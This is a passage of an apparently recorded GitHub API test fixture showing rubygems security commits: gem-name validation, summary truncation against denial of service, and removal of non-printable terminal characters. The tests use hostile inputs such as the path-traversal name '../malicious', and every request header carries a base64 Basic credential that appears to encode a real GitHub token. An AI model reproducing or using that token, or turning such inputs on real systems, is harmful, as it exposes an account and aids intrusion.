ilename":"lib/rubygems/specification.rb","status":"modified","additions":10,"deletions":2,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","patch":"@@ -108,6 +108,8 @@ class Gem::Specification < Gem::BasicSpecification\n \n private_constant :LOAD_CACHE if defined? private_constant\n \n+ VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n+\n # :startdoc:\n \n ##\n@@ -2668,9 +2670,15 @@ def validate packaging = true\n end\n end\n \n- unless String === name then\n+ if !name.is_a?(String) then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n+ elsif name !~ /[a-zA-Z]/ then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n+ elsif name !~ VALID_NAME_PATTERN then\n raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: \\\"#{name.inspect}\\\"\"\n+ \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n end\n \n if raw_require_paths.empty? then"},{"sha":"0fcc11e78f028c1b9c537da83e899b2e620b441d","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":31,"deletions":1,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","patch":"@@ -2985,7 +2985,37 @@ def test_validate_name\n @a1.validate\n end\n \n- assert_equal ''invalid value for attribute name: \":json\"'', e.message\n+ assert_equal ''invalid value for attribute name: \":json\" must be a string'', e.message\n+\n+ @a1.name = []\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"[]\\\" must be a string\", e.message\n+\n+ @a1.name = \"\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"\\\" must include at least one letter\", e.message\n+\n+ @a1.name = \"12345\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"12345\\\" must include at least one letter\", e.message\n+\n+ @a1.name = \"../malicious\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"../malicious\\\" can only include letters, numbers, dashes, and underscores\", e.message\n+\n+ @a1.name = \"\\ba\\t\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"\\\\ba\\\\t\\\" can only include letters, numbers, dashes, and underscores\", e.message\n end\n \n def test_validate_non_nil"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:15 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:15 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4389' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e49d948772ddd5cf39c338d6fb573eb7" Last-Modified: - Mon, 28 Aug 2017 01:37:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.053229' X-Github-Request-Id: - A326:4D96:971CB7:13A4663:5A50E47F body: encoding: ASCII-8BIT string: '{"sha":"8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T21:43:33Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:37:15Z"},"message":"Truncate summaries to 100,000 characters in the query command\n\nThis avoids a DOS vector where incredibly large summary strings would hang rubygems due to taking forever in Gem::Text.clean_text","tree":{"sha":"2870fa55bb0941a109ceab7cf533dfe9a8b1e049","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2870fa55bb0941a109ceab7cf533dfe9a8b1e049"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3PLAAoJEAEZW7MV3ahWMkYP/jW7b8lpsZRdBOUtlFlCBXts\n2s6pEK4IggDaAervCut21yCgywcKOs96eYPSEp81mvfyQmXRMhdwgV+cGQXkA0gL\nb6QreaHw4XGTBWEDBkXUbXGHFSEUT2erGepFhDE6INbSk/GR1tLbXBtyU1vj9PvZ\njbqcf/eIAtbvxp7dhilzHFwQCNhPR/46iwPlr0fDS7H8pJSadCnucSbtDI6jHg3K\nSB+9qtDDPxaz6DXM3X9CStTe4osSj4mxezk8LfXux1EwJC9+pUtyxzTWM5X2sDPz\n3UCIyEnUWQwmXsGug6kPTrNNOP6BN3zIuIN69f11tmi1JG78Z7Vb/37BORkbG9dB\nw0LfsQYyJ46AzA+UjCZrxGxCgRd0yjhJEs2/jRrYbqNXUZ8Ngq8ZSu8s+YUyEZ9q\nJ6lV18lFTpb+PB9CsTrOjgytVxlAG6u7QJSrGhmMEJZwn3dvt+gAsAbmEE71lcNV\nBsWKY4JwnuJ7lLeCP5hhumyKyLv8CindgflmnlpNBws5Sz+HY0AdMm4tgGRfav/I\nJIDPdDYobszRt27wYT6WsEWq+Vp1YvUP9KkgLBkUOqth9w1zmjbm7Ux3YXdVwtYO\neFz7wtk45YdKgLY49wGitB6mTBH46AoVR1VUwUYP1gkT4UhVKhrjYuBavs5buQtq\naDJ3JPHG70RUBjI/cym1\n=0bFe\n-----END PGP SIGNATURE-----","payload":"tree 2870fa55bb0941a109ceab7cf533dfe9a8b1e049\nparent 1bcbc7fe637b03145401ec9c094066285934a7f1\nauthor Samuel Giddins 1503697413 -0400\ncommitter Samuel Giddins 1503884235 -0500\n\nTruncate summaries to 100,000 characters in the query command\n\nThis avoids a DOS vector where incredibly large summary strings would hang rubygems due to taking forever in Gem::Text.clean_text\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","html_url":"https://github.com/rubygems/rubygems/commit/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"1bcbc7fe637b03145401ec9c094066285934a7f1","url":"https://api.github.com/repos/rubygems/rubygems/commits/1bcbc7fe637b03145401ec9c094066285934a7f1","html_url":"https://github.com/rubygems/rubygems/commit/1bcbc7fe637b03145401ec9c094066285934a7f1"}],"stats":{"total":56,"additions":55,"deletions":1},"files":[{"sha":"44144203e0f103e75ea8656f7f992f3b29b717c3","filename":"lib/rubygems/commands/query_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/lib/rubygems/commands/query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/lib/rubygems/commands/query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/query_command.rb?ref=8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","patch":"@@ -353,7 +353,8 @@ def spec_platforms entry, platforms\n end\n \n def spec_summary entry, spec\n- entry << \"\\n\\n\" << format_text(spec.summary, 68, 4)\n+ summary = truncate_text(spec.summary, \"the summary for #{spec.full_name}\")\n+ entry << \"\\n\\n\" << format_text(summary, 68, 4)\n end\n \n end"},{"sha":"b944b62c27cc5b4b8446d5d1decbc3325ddd750c","filename":"lib/rubygems/text.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/lib/rubygems/text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/lib/rubygems/text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/text.rb?ref=8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","patch":"@@ -13,6 +13,12 @@ def clean_text(text)\n text.gsub(/[\\000-\\b\\v-\\f\\016-\\037\\177]/, \".\".freeze)\n end\n \n+ def truncate_text(text, description, max_length = 100_000)\n+ raise ArgumentError, \"max_length must be positive\" unless max_length > 0\n+ return text if text.size <= max_length\n+ \"Truncating #{description} to #{max_length.to_s.reverse.gsub(/...(?=.)/,''\\&,'').reverse} characters:\\n\" + text[0, max_length]\n+ end\n+\n ##\n # Wraps +text+ to +wrap+ characters and optionally indents by +indent+\n # characters"},{"sha":"469223c6c0fb222756a5de524b595bd42c590638","filename":"test/rubygems/test_gem_commands_query_command.rb","status":"modified","additions":40,"deletions":0,"changes":40,"blob_url":"https://github.com/rubygems/rubygems/blob/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/test/rubygems/test_gem_commands_query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/test/rubygems/test_gem_commands_query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_query_command.rb?ref=8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","patch":"@@ -156,6 +156,46 @@ def test_execute_details_cleans_text\n This is a lot of text. This is a lot of text. This is a lot of text.\n This is a lot of text.\n \n+pl (1)\n+ Platform: i386-linux\n+ Author: A User\n+ Homepage: http://example.com\n+\n+ this is a summary\n+ EOF\n+\n+ assert_equal expected, @ui.output\n+ assert_equal '''', @ui.error\n+ end\n+\n+ def test_execute_details_truncates_summary\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''a'', 2 do |s|\n+ s.summary = ''This is a lot of text. '' * 10_000\n+ s.authors = [\"Abraham Lincoln \\x01\", \"\\x02 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\x03\"\n+ end\n+\n+ fetcher.legacy_platform\n+ end\n+\n+ @cmd.handle_options %w[-r -d]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ expected = <<-EOF\n+\n+*** REMOTE GEMS ***\n+\n+a (2)\n+ Authors: Abraham Lincoln ., . Hirohito\n+ Homepage: http://a.example.com/.\n+\n+ Truncating the summary for a-2 to 100,000 characters:\n+#{\" This is a lot of text. This is a lot of text. This is a lot of text.\\n\" * 1449} This is a lot of te\n+\n pl (1)\n Platform: i386-linux\n Author: A User"},{"sha":"04f3f605e8c03703d0bebc2fe90dddb40502514c","filename":"test/rubygems/test_gem_text.rb","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/test/rubygems/test_gem_text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251/test/rubygems/test_gem_text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_text.rb?ref=8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","patch":"@@ -78,4 +78,11 @@ def test_levenshtein_distance_replace\n assert_equal 7, levenshtein_distance(\"xxxxxxx\", \"ZenTest\")\n assert_equal 7, levenshtein_distance(\"zentest\", \"xxxxxxx\")\n end\n+\n+ def test_truncate_text\n+ assert_equal \"abc\", truncate_text(\"abc\", \"desc\")\n+ assert_equal \"Truncating desc to 2 characters:\\nab\", truncate_text(\"abc\", \"desc\", 2)\n+ s = \"ab\" * 500_001\n+ assert_equal \"Truncating desc to 1,000,000 characters:\\n#{s[0, 1_000_000]}\", truncate_text(s, \"desc\", 1_000_000)\n+ end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:15 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/1bcbc7fe637b03145401ec9c094066285934a7f1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:15 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4388' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0a73224fe269ebe21b24f0aa6accff79" Last-Modified: - Mon, 28 Aug 2017 01:37:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.075833' X-Github-Request-Id: - C5F8:4D95:F4886D:1C84AFC:5A50E47F body: encoding: ASCII-8BIT string: '{"sha":"1bcbc7fe637b03145401ec9c094066285934a7f1","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T21:04:08Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:37:15Z"},"message":"Use a pattern that works on 1.8.7","tree":{"sha":"98a144da3c31c19410746f969d087e6b27036b24","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/98a144da3c31c19410746f969d087e6b27036b24"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1bcbc7fe637b03145401ec9c094066285934a7f1","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3PLAAoJEAEZW7MV3ahWuY8QAIGakKVB2q985Icy9za1xSa+\n08ViMBH4AnMBFp3/ccjuyGYsmkaFpzULGy4ZR+9qrmayMHv5+OHQt4/CR3RepR9l\ncWlRbIsPmHJK1Ojr7amFRXJ+WAOyNqlgb2ipkZ4I7eGcuXUbtGlh8Jig+e2gUMhS\nPHzxFcP7QE44Ak8owOWzAF7cqKeFv90AoJLVXkD4++awv18/8K3P1ThwVJ82teGj\nn1FeVo1tnbs0gI5R6EvqoNfQe5zK8DQ9dmE2Uhsct0ceVQpxVjEVNRr4UOymXDJg\nxv8vqP3ZYcbx6FgaoxOW8uMcnIo06Ntuigmz6rT9cVCc9KOxMhamyqdAcE0spFkM\nRFMNdNBttQZWnydQ2umbdA7azzKwi9ZmM5VvDrHVJsz3DKhVisE2QNCMHJUrOAu5\nNYMmcx0FwqXxCWdsU9JGcgXQQT5JAhKp1hQH1yicZUu8ZK6usCuSGoXr7SDIeS46\n8DwNjnVWjnMadcXHBmcYVBk6tE4WDtMkCm8WTQs5FH1IYYiU9C3kVTB2R1K6NA2Q\nZ7ZTDCHkJ5GVgU6vWGvifHV4V5J7LaP9h7PGJf7ljGm7vyqboo1bUzWd10w8lJQn\nN9DDXQztOuPzTEwcW3DA+NZt/6LD6sCrBxXm/LW3P9rHamAo4wcMkzRSAzepzbv/\nZO5NyI5hoEo4/fN+WNeK\n=2jzP\n-----END PGP SIGNATURE-----","payload":"tree 98a144da3c31c19410746f969d087e6b27036b24\nparent ef0aa611effb5f54d40c7fba6e8235eb43c5a491\nauthor Samuel Giddins 1503695048 -0400\ncommitter Samuel Giddins 1503884235 -0500\n\nUse a pattern that works on 1.8.7\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1bcbc7fe637b03145401ec9c094066285934a7f1","html_url":"https://github.com/rubygems/rubygems/commit/1bcbc7fe637b03145401ec9c094066285934a7f1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1bcbc7fe637b03145401ec9c094066285934a7f1/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ef0aa611effb5f54d40c7fba6e8235eb43c5a491","url":"https://api.github.com/repos/rubygems/rubygems/commits/ef0aa611effb5f54d40c7fba6e8235eb43c5a491","html_url":"https://github.com/rubygems/rubygems/commit/ef0aa611effb5f54d40c7fba6e8235eb43c5a491"}],"stats":{"total":8,"additions":4,"deletions":4},"files":[{"sha":"19c78eff1970c1b6fec5cdf47ed4b7826a729195","filename":"lib/rubygems/text.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/1bcbc7fe637b03145401ec9c094066285934a7f1/lib/rubygems/text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/1bcbc7fe637b03145401ec9c094066285934a7f1/lib/rubygems/text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/text.rb?ref=1bcbc7fe637b03145401ec9c094066285934a7f1","patch":"@@ -10,7 +10,7 @@ module Gem::Text\n # Remove any non-printable characters and make the text suitable for\n # printing.\n def clean_text(text)\n- text.gsub(/[\\u0000-\\u0008\\u000b-\\u000c\\u000e-\\u001F\\u007f]/, \".\".freeze)\n+ text.gsub(/[\\000-\\b\\v-\\f\\016-\\037\\177]/, \".\".freeze)\n end\n \n ##"},{"sha":"d55b565552b82f247fd6898682032ae88f8af0d0","filename":"test/rubygems/test_gem_commands_query_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/1bcbc7fe637b03145401ec9c094066285934a7f1/test/rubygems/test_gem_commands_query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/1bcbc7fe637b03145401ec9c094066285934a7f1/test/rubygems/test_gem_commands_query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_query_command.rb?ref=1bcbc7fe637b03145401ec9c094066285934a7f1","patch":"@@ -132,8 +132,8 @@ def test_execute_details_cleans_text\n spec_fetcher do |fetcher|\n fetcher.spec ''a'', 2 do |s|\n s.summary = ''This is a lot of text. '' * 4\n- s.authors = [\"Abraham Lincoln \\u0001\", \"\\u0002 Hirohito\"]\n- s.homepage = \"http://a.example.com/\\u0003\"\n+ s.authors = [\"Abraham Lincoln \\x01\", \"\\x02 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\x03\"\n end\n \n fetcher.legacy_platform"},{"sha":"4168931e02b73b89cb629658e0422d4c357dfa44","filename":"test/rubygems/test_gem_text.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/1bcbc7fe637b03145401ec9c094066285934a7f1/test/rubygems/test_gem_text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/1bcbc7fe637b03145401ec9c094066285934a7f1/test/rubygems/test_gem_text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_text.rb?ref=1bcbc7fe637b03145401ec9c094066285934a7f1","patch":"@@ -37,7 +37,7 @@ def test_format_text_trailing # for two spaces after .\n end\n \n def test_format_removes_nonprintable_characters\n- assert_equal \"text with weird .. stuff\", format_text(\"text with weird \\u001b\\u0002 stuff\", 40)\n+ assert_equal \"text with weird .. stuff .\", format_text(\"text with weird \\x1b\\x02 stuff \\x7f\", 40)\n end\n \n def test_min3"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:15 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ef0aa611effb5f54d40c7fba6e8235eb43c5a491 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:16 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4387' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"912eab547405e519703a3a6d58711201" Last-Modified: - Mon, 28 Aug 2017 01:37:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.057984' X-Github-Request-Id: - C5FA:4D95:F48886:1C84B29:5A50E47F body: encoding: ASCII-8BIT string: '{"sha":"ef0aa611effb5f54d40c7fba6e8235eb43c5a491","commit":{"author":{"name":"Evan Phoenix","email":"evan@phx.io","date":"2017-05-22T16:44:08Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:37:15Z"},"message":"Clean any text present in gems before displaying it\n\nThis makes sure that any data pulled out of a gem spec is cleaned of all\nnon-printable characters before printing it. This prevents a gem from\ncausing havoc with a users terminal.","tree":{"sha":"9973269fb2a2082c829381fdbdf1ffc1c4fa348a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9973269fb2a2082c829381fdbdf1ffc1c4fa348a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ef0aa611effb5f54d40c7fba6e8235eb43c5a491","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3PLAAoJEAEZW7MV3ahWyIUQAImIQrZulwVhMp3+djeGNNcT\nHUJ1N/u7gOAZ6OvhUbsqtOJeDjeEjl6TJyjv/MoYyF/clGlhJR3ArSX2660M85+8\nj7IpK9sZ4MGs+p0qkYJ6KTugKvtukc8bmkOWWwyUmlAoFo365F0jIih58tkGx8fL\nR/F/UaE/fZcmBZC+4Qdwxs8U4cAQhnhEIRBfWh/NmaFsOZYm0f8zhUtUu6RjvX1N\nHMsAtfRWRoNLuEVX4By9rAciH+9HshlNeDEeyKcOIaPq2aTKxpqa+w49k4BxznNH\ntp23AyOK2PPNzHzvoG3rB79LCFt5zk1+WBP+apL6pxUASQHR7d2RagENN8MLHegs\n+TemQ1fHohmZxcqmD+1VGjiEQSs0ItUhr4r904Hg53WozrBG7RI/YF9n7OLNcLYH\nr3I48/6PpHRh9SEw/uloM8w1eKBX89zupU47dsm3+ZxeeaKQZ67mgQZ4FMUk4csz\n2xmMj4vX3AvDEi8Now1hyJG1F+E3Vzy1zOoMovZAEdwp4H6BQSWboY2fGtkaRIwT\n/GnUr12gzzg3EA7iCS2IwBub4+YY4XrQKpGw5ko7g1wz1Mxc3vMHtjo+xDZ+U7hl\nr/wvu148i6qYNLwVOf6ws/m9Jv8wRQtGGMeRsY6nwhPLlWhvfB7b7kdX7/mVbLKp\nGAio75VD5oNjUPd98Znq\n=CEKn\n-----END PGP SIGNATURE-----","payload":"tree 9973269fb2a2082c829381fdbdf1ffc1c4fa348a\nparent 8d91516fb7037ecfb27622f605dc40245e0f8d32\nauthor Evan Phoenix 1495471448 -0700\ncommitter Samuel Giddins 1503884235 -0500\n\nClean any text present in gems before displaying it\n\nThis makes sure that any data pulled out of a gem spec is cleaned of all\nnon-printable characters before printing it. This prevents a gem from\ncausing havoc with a users 